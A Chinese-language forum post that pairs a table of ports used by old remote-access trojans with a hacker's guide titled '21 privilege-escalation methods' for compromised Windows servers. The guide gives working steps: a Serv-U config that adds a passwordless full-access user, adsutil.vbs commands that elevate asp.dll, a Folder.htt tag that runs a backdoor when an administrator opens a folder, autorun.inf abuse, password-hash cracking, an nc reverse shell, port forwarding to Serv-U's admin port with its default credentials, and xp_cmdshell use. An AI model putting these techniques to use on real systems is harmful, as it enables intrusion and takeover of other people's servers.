最新木馬連接阜列表

[psac]

最新木馬連接阜列表

Port Trojans
TCP 1 Breach.2001, SocketsDeTroie.230, SocketsDeTroie.250
TCP 11 NetSlayer.100
TCP 16 PWSteal.AIM.100
TCP 28 Amanda.200
TCP 31 MastersParadise.920
TCP 68 Subseven.100
TCP 85 Assassin.200
TCP 142 NetTaxi.180
TCP 146 Infector.141, Intruder.100, Intruder.100
TCP 171 ATrojan.200
TCP 187 Specrem.400
TCP 285 WCTrojan.100
TCP 286 WCTrojan.100
TCP 334 Backage.310
TCP 370 NeuroticKat.120, NeuroticKat.130
TCP 413 Coma.109
TCP 420 Breach.450
TCP 449 Slanret.100
TCP 456 MagicEye.100
TCP 555 Id2001.100, PhaseZero.100, StealthSpy.100
TCP 623 Rtb666.160
TCP 654 Hoavelu.101
TCP 660 Zaratustra.100
TCP 661 Noknok.800, Noknok.820
TCP 666 BackConstruction.210, BackConstruction.250, Belang.100, Bla.100, Bla.200, Bla.400, Bla.503, Cain.150, Dimbus.100, FDoor.080, FDoor.151, Noknok.820, Ripper.100, SatansBackdoor.100, SatansBackdoor.101, SatansBackdoor.102, Unicorn.100, Unicorn.101, Unicorn.110
TCP 667 SniperNet.210, Snipernet.220
TCP 668 Unicorn.101, Unicorn.110
TCP 680 Rtb666.160
TCP 777 AIMSpy.101, Tiny.100, Undetected.230, Undetected.300, Undetected.310, Undetected.320, Undetected.330, Undetected.331, Undetected.332
TCP 785 NetworkTerrorist.100
TCP 800 NeuroticKitten.010
TCP 831 NeuroticKat.100, NeuroticKat.120, NeuroticKat.130
TCP 901 NetDevil.130, NetDevil.140
TCP 911 DarkShadow.100
TCP 1000 DerSpaeher.200, Destruktor.110
TCP 1001 Silencer.100
TCP 1008 AutoSpy.100
TCP 1010 DerSpaeher.200
TCP 1015 Doly.150
TCP 1111 TPort.100
TCP 1130 Noknok.800, Noknok.820
TCP 1207 SoftWAR.100
TCP 1243 Subseven.100, SubSeven.110, SubSeven.180, SubSeven.190, Subseven.200
TCP 1245 VoodooDoll.006
TCP 1269 Matrix.130
TCP 1480 RemoteHack.130
TCP 1568 RemoteHack.100, RemoteHack.110
TCP 1600 DirectConnection.100
TCP 1601 DirectConnection.100
TCP 1602 DirectConnection.100
TCP 1634 NetCrack.100
TCP 1784 Snid.120, Snid.212
TCP 1907 HackBoy.100
TCP 1999 TransmissionScout.100, TransmissionScout.110
TCP 2000 ATrojan.200, InsaneNetwork.400, Bifrost.101
TCP 2001 DIRT.220, TrojanCow.100
TCP 2003 TransmissionScout.100, TransmissionScout.110
TCP 2023 RipperPro.100
TCP 2040 InfernoUploader.100
TCP 2115 Bugs.100
TCP 2140 DeepThroat.100, DeepThroat.200, DeepThroat.310
TCP 2332 SilentSpy.202
TCP 2589 Dagger.140
TCP 2600 DigitalRootbeer.100
TCP 2989 Rat.200
TCP 3128 MastersParadise.970
TCP 3129 MastersParadise.920, MastersParadise.970
TCP 3150 DeepThroat.100, DeepThroat.200, DeepThroat.310, MiniBacklash.110
TCP 3215 BlackStar.100, Ghost.230
TCP 3333 Daodan.123
TCP 3410 OptixPro.100, OptixPro.110
TCP 3456 Force.155, TerrorTrojan.100
TCP 3505 AutoSpy.130, AutoSpy.140
TCP 3586 Snid.120, Snid.212
TCP 3700 PortalOfDoom.100
TCP 3723 Mantis.100
TCP 3800 Eclypse.100
TCP 3996 RemoteAnything.364
TCP 4000 QWei.200, SkyDance.220, SkyDance.225, SkyDance.229
TCP 4128 Shadow.140
TCP 4201 Wartrojan.160, Wartrojan.200
TCP 4225 SilentSpy.202, SilentSpy.209
TCP 4288 MoSucker.300
TCP 4321 Bobo.100
TCP 4444 AlexTrojan.200, Avone.200, Crackdown.100, Messo.100, Prosiak.079, SwiftRemote.106
TCP 4481 BackstabLite.100
TCP 4488 EventHorizon.100
TCP 4523 Celine.100
TCP 4540 RemoteRevise.100, RemoteRevise.115
TCP 4545 InternalRevise.100, RemoteRevise.150
TCP 4567 FileNail.100
TCP 4666 Mneah.100
TCP 4895 Test.200
TCP 4950 ICQTrojan.100
TCP 4999 Malpayo.100
TCP 5005 Aladino.060
TCP 5025 Keylogger.WMRemote.100
TCP 5031 NetMetro.104
TCP 5032 NetMetro.104
TCP 5033 NetMetro.104
TCP 5050 RoxRat.100
TCP 5151 OptixLite.020, OptixLite.030, OptixLite.040, OptixLite.500
TCP 5180 Peeper.120
TCP 5190 MBomber.100
TCP 5277 Janker.100, WinShell.400
TCP 5328 Snow.100
TCP 5343 WCRat.100
TCP 5400 BackConstruction.120, BackConstruction.150, BladeRunner.080, DeepThroat.300
TCP 5401 BackConstruction.120, BackConstruction.150, BackConstruction.210, BackConstruction.250, BladeRunner.080, DeepThroat.300, Mneah.100
TCP 5402 BackConstruction.210, BackConstruction.250, BladeRunner.080, DeepThroat.300, Mneah.100
TCP 5534 TheFlu.100
TCP 5550 XTCP.200, XTCP.201
TCP 5555 Noxcape.100, Noxcape.200
TCP 5558 EasyServ.110
TCP 5656 Aqua.010
TCP 5695 Assassin.100
TCP 5714 WinCrash.100
TCP 5741 WinCrash.100
TCP 5742 WinCrash.103
TCP 5802 Y3KRat.160
TCP 5810 Y3KRat.160
TCP 5838 Y3KRat.170
TCP 5858 Y3KRat.110, Y3KRat.120, Y3KRat.140
TCP 5880 Y3KRat.140
TCP 5881 Y3KRat.110, Y3KRat.120, Y3KRat.140
TCP 5882 Y3KRat.100, Y3KRat.110, Y3KRat.120, Y3KRat.140, Y3KRat.150
TCP 5883 Y3KRat.110, Y3KRat.140
TCP 5884 Y3KRat.140, Y3KRat.150
TCP 5885 Y3KRat.110, Y3KRat.120, Y3KRat.140
TCP 5886 Y3KRat.120, Y3KRat.140
TCP 5887 NetDown.100, Y3KRat.110, Y3KRat.120, Y3KRat.140
TCP 5888 Y3KRat.100, Y3KRat.110, Y3KRat.120, Y3KRat.140, Y3KRat.150
TCP 5889 Y3KRat.100, Y3KRat.110, Y3KRat.120, Y3KRat.140, Y3KRat.150
TCP 5890 Y3KRat.140
TCP 5965 AVK.Cos.100
TCP 6400 Thething.100, Thething.150
TCP 6556 AutoSpy.120, AutoSpy.122
TCP 6655 Aqua.020
TCP 6666 BeastDoor.199, BeastDoor.213, DarkSill.440, LameRemote.100, ProjectMayhem.100, Torniquet.120, Tourniquet.100, Tourniquet.110
TCP 6669 Vampire.100
TCP 6670 DeepThroat.200, DeepThroat.210
TCP 6671 DeepThroat.310
TCP 6677 BDirect.100
TCP 6699 HostControl.101
TCP 6711 BoyGirl.100, DeepThroat.300, Noknok.820, SubSeven.180, SubSeven.190
TCP 6712 CMJSpy.100, FunnyTrojan.100, Subseven.100
TCP 6713 Subseven.100
TCP 6767 NTRC.120
TCP 6776 SubSeven.180, SubSeven.190, Subseven.200
TCP 6789 Doly.200
TCP 6796 SubSeven.214
TCP 6912 ShitHeep.100
TCP 6939 Indoctrination.100
TCP 6953 Lithium.100
TCP 6969 2000Cracks.100, Bigorna.100, Danton.110, Danton.210, Danton.220, Danton.310, Danton.320, Danton.330, GateCrasher.110, NetController.108, Sparta.110, VagrNocker.120
TCP 6970 Danton.330
TCP 7000 Phoenix.172
TCP 7001 Freak88.100
TCP 7020 Hoaxer.100
TCP 7030 Hoaxer.100
TCP 7119 Massaker.100
TCP 7200 Massaker.110
TCP 7253 Jinmoz.180
TCP 7290 NoSecure.120
TCP 7291 NoSecure.120
TCP 7300 Coced.221
TCP 7301 Coced.221
TCP 7306 NetSpy.200, NetSpy.200, NetSpy.300
TCP 7389 NetSpy.300
TCP 7410 Phoenix.130, Phoenix.141, Phoenix.143, Phoenix.144, Phoenix.146, Phoenix.150, Phoenix.190, Phoenix.200
TCP 7511 Genue.100
TCP 7609 Snid.120, Snid.212
TCP 7614 Wollf.130
TCP 7626 Glacier.220, Glacier.221, Glacier.300, Hynex.410, Hynex.600
TCP 7648 BlackStar.100, Ghost.230, XhxCmd.100
TCP 7676 Recon.200
TCP 7777 Tini.200
TCP 7788 Last.2000, Matrix.200
TCP 7811 RemoteSOB.112
TCP 7826 MiniOblivion.010, Oblivion.010, Oblivion.012
TCP 7887 SmallFun.110
TCP 7891 Revenger.100
TCP 7979 VagrNocker.200
TCP 7997 VagrNocker.200
TCP 8000 XConsole.100
TCP 8011 Way.100, Way.200, Way.240, Way.250
TCP 8012 Ptakks.209, Ptakks.215, Ptakks.217
TCP 8108 LYB.100
TCP 8110 LoseLove.100
TCP 8111 LoseLove.100
TCP 8210 China.110
TCP 8301 LoseLove.100
TCP 8302 LoseLove.100
TCP 8311 BoyGirl.100
TCP 8372 NetBoy.100
TCP 8623 Qsz.100
TCP 8686 Freak.100
TCP 8720 Connection.130
TCP 8734 AutoSpy.110
TCP 8787 Freak.100
TCP 8811 Force.155
TCP 8899 Last.2000
TCP 8943 ISpyNow.100
TCP 9000 Aristotles.100, StealthEye.100
TCP 9005 StealthEye.100
TCP 9090 MiniCommander.202
TCP 9301 LoseLove.100
TCP 9400 InCommand.100, InCommand.110, InCommand.120, InCommand.130, InCommand.140, InCommand.150, InCommand.153, InCommand.160, InCommand.167, InCommand.170
TCP 9401 InCommand.100, InCommand.110, InCommand.170
TCP 9402 InCommand.100, InCommand.110
TCP 9561 CRatPro.110
TCP 9563 CRatPro.110
TCP 9580 TheefLE.100
TCP 9696 Danton.210, Ghost.230, Ghost.240
TCP 9697 Danton.320, Danton.330, Ghost.230, Ghost.240
TCP 9777 StealthEye.110, StealthEye.112
TCP 9778 StealthEye.110, StealthEye.112, StealthEye.113
TCP 9870 R3C.100, R3C.145
TCP 9872 PortalOfDoom.100
TCP 9873 PortalOfDoom.100
TCP 9874 PortalOfDoom.100
TCP 9875 PortalOfDoom.100
TCP 9876 Rux.100, SheepGoat.100
TCP 9877 SmallBigBrother.020
TCP 9878 SmallBigBrother.020, TransmissionScout.100, TransmissionScout.110, TransmissionScout.120
TCP 9879 SmallBigBrother.020
TCP 9999 ForcedEntry.100, Infra.100, Prayer.120, Prayer.130, Skipper.100, SpadeAce.100, TakeOver.200, TakeOver.300
TCP 10001 DTr.130, DTr.140, DTr.144, DTr.147, DTr.150, DTr.151, DTr.152, DTr.154, DTr.155
TCP 10013 Amanda.200
TCP 10067 PortalOfDoom.100
TCP 10100 Gift.240, Gift.250
TCP 10101 NewSilencer.100
TCP 10167 PortalOfDoom.100
TCP 10528 HostControl.100, HostControl.260
TCP 10607 Coma.109
TCP 10666 Ambush.100
TCP 11000 YYTKit.100
TCP 11011 Amanda.200
TCP 11050 HostControl.101
TCP 11051 HostControl.100, HostControl.260
TCP 11223 AntiNuke.100, Progenic.090, Progenic.100, Progenic.110
TCP 11225 Cyn.100, Cyn.103, Cyn.120
TCP 11306 Noknok.800, Noknok.820
TCP 11831 DataRape.100, Katux.200, Latinus.140, Latinus.150, Pest.100, Pest.400
TCP 11931 Backlash.101
TCP 11991 PitfallSurprise.100
TCP 12043 Frenzy.2000
TCP 12122 HellzAddiction.120
TCP 12310 Precursor.100
TCP 12345 Fade.100, Netbus.160, Netbus.170, Sensive.510, VagrNocker.400
TCP 12346 Netbus.160, Netbus.170
TCP 12348 Bionet.210, Bionet.261, Bionet.280, Bionet.302, Bionet.305, Bionet.311, Bionet.313, Bionet.316, Bionet.317
TCP 12349 Bionet.084, Bionet.261, Bionet.280, Bionet.302, Bionet.305, Bionet.311, Bionet.313, Bionet.314, Bionet.316, Bionet.317, Bionet.401, Bionet.402, Bionet.404
TCP 12389 KheSanh.200, KheSanh.210
TCP 12478 Bionet.210
TCP 12486 Muska.140
TCP 12623 Buttman.090, Buttman.100
TCP 12624 Buttman.090, Buttman.100
TCP 12625 Buttman.100
TCP 12884 Anthena.400
TCP 12904 Akropolis.100, Rocks.100
TCP 13014 HydroLeak.010
TCP 13473 Chupacabra.100
TCP 13573 SilverFtp.100
TCP 13753 AFTP.010
TCP 14100 Eurosol.100
TCP 14194 CyberSpy.840
TCP 14286 HellDriver.100
TCP 14500 PCInvader.050, PCInvader.060, PCInvader.070
TCP 14501 PCInvader.060, PCInvader.070
TCP 14502 PCInvader.050, PCInvader.060, PCInvader.070
TCP 14503 PCInvader.050, PCInvader.060, PCInvader.070
TCP 14504 PCInvader.050, PCInvader.060
TCP 15000 NetDemon.100, RoxRat.110
TCP 15092 HostControl.100, HostControl.260
TCP 15333 Nether.250, ScreenThief.100
TCP 15382 SubZero.100
TCP 15432 Cyn.210
TCP 15555 ICMIBC.100
TCP 16322 LastDoor.100
TCP 16402 IcsFtp.100
TCP 16484 MoSucker.110
TCP 16661 Dfch.010, Grisch.100
TCP 16666 Iddono.140
TCP 16969 Progenic.100
TCP 16982 AcidShiver.100
TCP 17300 Kuang.200
TCP 17499 CrazzyNet.370, CrazzyNet.375, CrazzyNet.521
TCP 17500 CrazzyNet.370, CrazzyNet.375, CrazzyNet.521
TCP 17569 InCommand.171, Infector.141, Infector.160, Infector.170, Infector.180, Infector.190, Infector.200, Intruder.100, Intruder.100
TCP 17593 AudioDoor.120
TCP 19191 BlueFire.035, BlueFire.041, BlueFire.050
TCP 19604 Metal.270
TCP 19605 Metal.270
TCP 19949 Avone.200
TCP 19991 Dfch.010
TCP 20000 Millenium.100, Millenium.200
TCP 20001 Millenium.100, Millenium.200, PshychoFiles.180
TCP 20002 AcidKor.100, PshychoFiles.180
TCP 20005 MoSucker.200, MoSucker.210, MoSucker.220
TCP 20931 DiskSpy.100
TCP 21000 CoreDoor.100
TCP 21212 Schwindler.182, Sensive.300, Sensive.301
TCP 21422 Serman.100
TCP 21554 Exploiter.100, Exploiter.110, Girlfriend.130, GirlFriend.135
TCP 21579 Breach.2001
TCP 21584 Breach.2001
TCP 21684 Intruse.134
TCP 22068 AcidShiver.110
TCP 22115 Cyn.120
TCP 22222 Prosiak.047, Ruler.141, Rux.200, Rux.300, Rux.400, Rux.500, Rux.600
TCP 22223 Rux.400, Rux.500, Rux.600
TCP 22456 Bla.200, Bla.503
TCP 22457 AcidShiver.120, Bla.200, Bla.503
TCP 22784 Intruzzo.110, Intruzzo.111
TCP 22845 Breach.450
TCP 22847 Breach.450
TCP 23005 Infinaeon.110, NetTrash.100, NetTrash.101, Oxon.110, WinRat.100
TCP 23006 Infinaeon.110, NetTrash.100, NetTrash.101, Oxon.110, WinRat.100
TCP 23032 Amanda.200
TCP 23145 Freak.100
TCP 23321 Konik.060
TCP 23432 Asylum.010, Asylum.012, Asylum.013, Asylum.014, BlueAdept.100, MiniAsylum.110
TCP 23444 BeastDoor.215
TCP 23456 EvilFTP.100, VagrNocker.400
TCP 23476 DonaldDick.153, DonaldDick.154, DonaldDick.155
TCP 23477 DonaldDick.153
TCP 23777 InetSpy.100
TCP 24000 Infector.170
TCP 24307 Wildek.010, Wildek.020
TCP 25386 MoonPie.220
TCP 25486 MoonPie.220
TCP 25555 FreddyK.100, FreddyK.200
TCP 25556 FreddyK.100
TCP 25685 MoonPie.010, MoonPie.012, MoonPie.120, MoonPie.130, MoonPie.220, MoonPie.240, MoonPie.400
TCP 25686 MoonPie.120, MoonPie.131, MoonPie.135, MoonPie.141, MoonPie.200, MoonPie.400
TCP 25982 MoonPie.120, MoonPie.131, MoonPie.135, MoonPie.141, MoonPie.200
TCP 26013 NTBindShell.100
TCP 26274 Delta.050
TCP 27160 MoonPie.131, MoonPie.135, MoonPie.141, MoonPie.200
TCP 27184 Alvgus.100, Alvgus.800
TCP 27374 Muerte.110, Subseven.210, SubSeven.213
TCP 27551 Amitis.120
TCP 28429 HackaTack.2000
TCP 28430 HackaTack.2000
TCP 28431 HackaTack.2000
TCP 28432 HackaTack.2000
TCP 28433 HackaTack.2000
TCP 28434 HackaTack.2000
TCP 28435 HackaTack.2000
TCP 28436 HackaTack.2000
TCP 29559 Backlash.101, DataRape.100, DuckToy.100, DuckToy.101, DuckToy.120, DuckToy.131, DuckToy.139, Katux.200, Latinus.140, Latinus.150, Pest.100, Pest.400
TCP 29891 Unexplained.100
TCP 29984 TrojanSpirit.120
TCP 30000 Infector.170, YYTKit.100
TCP 30001 AntiPC.100, Error32.100
TCP 30003 LamersDeath.100, LamersDeath.210, LamersDeath.270
TCP 30029 AOLTrojan.110
TCP 30100 NetSphere.127, NetSphere.130, NetSphere.131
TCP 30101 NetSphere.127, NetSphere.130, NetSphere.131
TCP 30102 NetSphere.127, NetSphere.130, NetSphere.131
TCP 30103 NetSphere.131
TCP 30947 Intruse.134
TCP 30999 MiniMo.092
TCP 31320 LittleWitch.400, LittleWitch.420, LittleWitch.622, LittleWitchMini.210
TCP 31332 Grobo.406
TCP 31337 BackOrifice.120, Khaled.100, OPC.200, BlueEye.100
TCP 31415 Lithium.101, Lithium.102, Lithium.103
TCP 31416 Lithium.100, Lithium.101, Lithium.102, Lithium.103
TCP 31557 Xanadu.110
TCP 31631 CleptoManicos.100
TCP 31745 Buschtrommel.100, Buschtrommel.122
TCP 31785 HackaTack.100, HackaTack.112
TCP 31787 HackaTack.100, HackaTack.112, HackaTack.120
TCP 31789 HackaTack.100, HackaTack.112, HackaTack.120
TCP 31791 HackaTack.100, HackaTack.112, HackaTack.120
TCP 31887 BDDT.100
TCP 31889 BDDT.100
TCP 32100 ProjectNext.053
TCP 32418 AcidBattery.100
TCP 32791 Akropolis.100, Rocks.100
TCP 33291 RemoteHak.001
TCP 33333 Blackharaz.100, Prosiak.047, SubSeven.214
TCP 33577 SonOfPsychward.020
TCP 34324 TelnetServer.100
TCP 34555 Trinoo.100
TCP 34763 Infector.180, Infector.190, Infector.200
TCP 35000 Infector.190, Infector.200
TCP 35600 Subsari.140
TCP 36663 RatHead.201
TCP 36794 BugBear.100
TCP 37237 Arcanum.012, Mantis.020
TCP 37546 Taladrator.300
TCP 37651 YAT.210
TCP 37653 YAT.310
TCP 40308 Subsari.140, Subsari.145
TCP 40412 TheSpy.100
TCP 40421 MastersParadise.970
TCP 40422 MastersParadise.970
TCP 40999 DiemsMutter.110, DiemsMutter.140, DM.100
TCP 41626 Shah.100
TCP 43210 SchoolBus.150
TCP 44444 Prosiak.065, Prosiak.070
TCP 45673 Akropolis.100, Rocks.100
TCP 47262 Delta.050
TCP 48006 Fragglerock.200
TCP 49683 HolzPferd.210
TCP 50000 InCommand.171, Infector.180, Starline.200
TCP 50005 FLamersBackdoor.250, FLamersBackdoor.260
TCP 50130 Enterprise.100
TCP 50766 Fore.100
TCP 51234 Cyn.210
TCP 51966 Cafeini.080, Cafeini.110
TCP 51985 RemoteHack.160
TCP 52013 GreyBird.100, Huif.100
TCP 52635 Way.251
TCP 54312 Nova.100
TCP 54320 MasterU.100
TCP 54321 MasterU.100, PCInvader.010, SchoolBus.150
TCP 57341 NetRaider.100
TCP 57922 Bionet.084
TCP 58008 Tron.100
TCP 58009 Tron.100
TCP 58343 ProRat.092
TCP 59000 Test.200
TCP 59090 AcidReign.200
TCP 59211 DuckToy.100, DuckToy.101, DuckToy.120, DuckToy.139
TCP 59345 NewFuture.100
TCP 59657 Igloo.182
TCP 59661 Igloo.182
TCP 60000 DeepThroat.300, MiniBacklash.100, MiniBacklash.101, MiniBacklash.101
TCP 60006 FLamersBackdoor.250, FLamersBackdoor.260
TCP 60411 Connection.100, Connection.130
TCP 60412 Connection.130
TCP 60551 RoxRat.110
TCP 60552 RoxRat.100, RoxRat.110
TCP 60666 BasicHell.100
TCP 61466 TeleCommando.100
TCP 62011 DuckToy.139
TCP 63536 InsaneNetwork.500
TCP 63878 AphexFTP.100
TCP 63879 AphexFTP.100
TCP 64969 Lithium.100
TCP 65000 RoxRat.120, Socket.100
TCP 65008 LanByte.001
TCP 65010 RoxRat.120
TCP 65530 Mite.100
TCP 65535 Iddono.200
UDP 1 SocketsDeTroie.250
UDP 666 Bla.200, Bla.400, Bla.503, Noknok.820
UDP 1130 Noknok.800, Noknok.820
UDP 2140 DeepThroat.100, DeepThroat.200, DeepThroat.310
UDP 2989 Rat.200
UDP 3128 MastersParadise.970
UDP 3129 MastersParadise.920, MastersParadise.970
UDP 3150 DeepThroat.100, DeepThroat.200, DeepThroat.310, MiniBacklash.110
UDP 3333 Daodan.123
UDP 3800 Eclypse.100
UDP 3996 RemoteAnything.364
UDP 4000 RemoteAnything.364
UDP 5555 Daodan.123
UDP 5881 Y3KRat.110, Y3KRat.140
UDP 5882 Y3KRat.100, Y3KRat.110, Y3KRat.120, Y3KRat.140, Y3KRat.150
UDP 5883 Y3KRat.110, Y3KRat.140
UDP 5884 Y3KRat.140, Y3KRat.150
UDP 5885 Y3KRat.110, Y3KRat.120, Y3KRat.140
UDP 5886 Y3KRat.120, Y3KRat.140
UDP 5887 Y3KRat.110, Y3KRat.120, Y3KRat.140
UDP 5888 Y3KRat.100, Y3KRat.110, Y3KRat.120, Y3KRat.150
UDP 6953 Lithium.100
UDP 8012 Ptakks.217
UDP 10067 PortalOfDoom.100
UDP 10167 PortalOfDoom.100
UDP 10666 Ambush.100
UDP 11225 Cyn.100, Cyn.103, Cyn.120
UDP 11306 Noknok.800, Noknok.820
UDP 12389 KheSanh.200, KheSanh.210
UDP 12623 Buttman.090, Buttman.100
UDP 12625 Buttman.100
UDP 14100 Eurosol.100
UDP 23476 DonaldDick.155
UDP 26274 Delta.050
UDP 27184 Alvgus.100
UDP 28431 HackaTack.2000
UDP 28432 HackaTack.2000
UDP 28433 HackaTack.2000
UDP 28434 HackaTack.2000
UDP 28435 HackaTack.2000
UDP 28436 HackaTack.2000
UDP 29891 Unexplained.100
UDP 30103 NetSphere.131
UDP 31320 LittleWitch.400, LittleWitch.420, YYTKit.100
UDP 31337 BackOrifice.120, OPC.200
UDP 31416 Lithium.100, Lithium.101, Lithium.102
UDP 31789 HackaTack.100, HackaTack.112
UDP 31791 HackaTack.100, HackaTack.112
UDP 33333 Blackharaz.100
UDP 47262 Delta.050
UDP 49683 HolzPferd.210
UDP 60000 MiniBacklash.100

除了TCP800、1000、1008、UDP4000會有一些正常的用途外，其餘的還是關了好，BT和emule用戶注意不要把軟體的連接阜設在上述連接阜上

[psac]

黑客21種提權方法

1.radmin連接法

條件是你權限夠大，對方連防火牆也沒有。封裝個radmin上去，執行，開對方連接阜，然後radmin上去。本人從來米成功過。，連接阜到是給對方開啟了。

2.paanywhere

C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 這裡下他的GIF文件，在本機安裝pcanywhere上去

3.SAM破解

C:\WINNT\system32\config\ 下他的SAM 破解之

4.SU密碼奪取

C:\Documents and Settings\All Users\「開始」表單\程序\

引用：Serv-U，然後本機檢視內容，知道路徑後，看能否跳轉
進去後，如果有權限修改ServUDaemon.ini，加個用戶上去，密碼為空
[USER=WekweN|1]
Password=
HomeDir=c:\
TimeOut=600
Maintenance=System
Access1=C:\|RWAMELCDP
Access1=d:\|RWAMELCDP
Access1=f:\|RWAMELCDP
SKEY類型s=
這個用戶具有最高權限，然後我們就可以ftp上去 quote site exec xxx 來提升權限

5.c:\winnt\system32\inetsrv\data\

引用：就是這個目錄，同樣是erveryone 完全控制，我們所要做的就是把提升權限的工具上傳上去，然後執行

6.SU溢位提權

這個網上教學N多 不詳細講解了

7.執行Csript

引用：執行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"來提升權限
用這個cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps
檢視有特權的dll文件：idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll
再將asp.dll加入特權一族
asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的電腦放的位置不一定一樣)
我們現在加進去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32\inetsrv\asp.dll"
可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 來檢視是不是加進去了

8.指令碼提權

c:\Documents and Settings\All Users\「開始」表單\程序\啟動"寫入bat，vbs

9.VNC

這個是小花的文章 HOHO

預設值情況下VNC密碼存放在HKCU\Software\ORL\WinVNC3\Password

我們可以用vncx4

破解它，vncx4使用很簡單，只要在指令行下輸入

c:\>vncx4 -W

然後順序輸入上面的每一個十六進制資料，沒輸完一個Enter鍵一次就行了。

10.NC提權

給對方來個NC 但是條件是你要有足夠的執行權限 然後把它反彈到自己的電腦上 HOHO OK了

11.社會工程學之GUEST提權
很簡單 檢視他的擁護 一般來說 看到帳戶以後 密碼盡量猜 可能用戶密碼一樣 也可能是他QQ號 郵信箱號 手機號 盡量看看 HOHO

12.IPC空連接

如果對方真比較天才的話 掃他的IPC 如果運氣好還是弱密碼

13.取代服務

這個不用說了吧？個人感覺相當複雜

14.autorun .inf

autorun=xxx.exe 這個=後面自己寫 HOHO 加上唯讀、系統、隱藏內容 傳到哪個盤都可以的 不相信他不執行

15.desktop.ini與Folder.htt

引用：首先，我們現在本機建立一個資料夾，名字不重要，進入它，在空白處點右鍵，選項「自訂資料夾」（xp好像是不行的）一直下點，預設值即可。完成後，你就會看到在此目錄下多了兩個名為Folder setting的文件架與desktop.ini的文件，（如果你看不到，先取消「隱藏受保護的作業系統文件」）然後我們在Folder setting目錄下找到Folder.htt文件，記事本開啟，在任意地方加入以下程式碼： <OBJECT ID=」RUNIT」 WIDTH=0 HEIGHT=0 TYPE=」application/x-oleobject」 CODEBASE=」你的後門檔案名」> </OBJECT> 然後你將你的後門文件放在Folder setting目錄下，把此目錄與desktop.ini一起上傳到對方任意一個目錄下，就可以了，只要等管理員瀏覽了此目錄，它就執行了我們的後門

16.su覆蓋提權

本機安裝個su，將你自己的ServUDaemon.ini文件用從他那下載下來的ServUDaemon.ini 覆蓋掉，重新啟動一下Serv-U，於是你上面的所有組態都與他的一模一樣了

17.SU轉發連接阜

43958這個是 Serv －U 的本機管理連接阜。FPIPE.exe上傳他，執行指令： Fpipe –v –l 3333 –r 43958 127.0.0.1 意思是將4444連接阜映射到43958連接阜上。 然後就可以在本機安裝一個Serv-u，新增一個伺服器，IP填對方IP，帳號為LocalAdministrator 密碼為#1@$ak#.1k;0@p 連接上後你就可以管理他的Serv-u了

18.SQL帳戶密碼洩露

如果對方開了MSSQL伺服器，我們就可以通過用SQL連接器加管理員帳號（可以從他的連接資料庫的ASP文件中看到），因為MSSQL是預設值的SYSTEM權限。

引用：對方沒有移除xp_cmdshell 方法：使用Sqlexec.exe，在host 一欄中填入對方IP，User與Pass中填入你所得到的用戶名與密碼。format選項xp_cmdshell」%s」即可。然後點擊connect，連接上後就可以在CMD一欄中輸入你想要的CMD指令了

19.asp.dll

引用：因為asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的電腦放的位置不一定相同)
我們現在加進去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32\inetsrv\asp.dll"
好了,現在你可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 來檢視是不是加進去
了,注意,用法中的get和set,一個是檢視一個是設定.還有就是你執行上面的你要到C:\Inetpub\AdminScripts>這個目錄下.
那麼如果你是一個管理員,你的電腦被人用這招把asp提升為system權限,那麼,這時,防的方法就是把asp.dll T出特權一族,也就是用set這個指令,覆蓋掉剛才的那些東東.

20.Magic Winmail

前提是你要有個webshell

21.DBO……

其實 提升權限的方式很多的